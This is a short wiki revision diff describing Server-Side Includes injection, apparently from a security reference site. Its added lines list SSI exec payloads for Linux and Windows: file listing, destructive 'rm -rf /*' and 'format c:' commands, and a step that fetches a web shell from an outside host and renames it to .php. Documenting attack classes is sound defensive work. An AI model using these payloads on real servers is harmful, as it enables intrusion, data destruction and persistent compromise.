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Difference between revisions of "Server-Side Includes (SSI) Injection"
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==Examples == | ==Examples == | ||
| + | '''Linux''' | ||
| + | List Files - <!--#exec cmd="ls" --> | ||
| + | Remove All - <!--#exec cmd="rm -rf /*" --> | ||
| + | Navigate Directories - <!--#exec cmd="cd /root/dir/" --> | ||
| + | Plant Shell - <!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --> | ||
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| + | '''Windows''' | ||
| + | List Files - <!--#exec cmd="dir" --> | ||
| + | Remove All - <!--#exec cmd="format c:" --> | ||
| + | Navigate Directories - <!--#exec cmd="cd C:\admin\dir" --> | ||
==Related Threats== | ==Related Threats== | ||
Revision as of 19:19, 29 April 2007
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Description
SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.
Examples
Linux List Files - Remove All - Navigate Directories - Plant Shell -
Windows List Files - Remove All - Navigate Directories -
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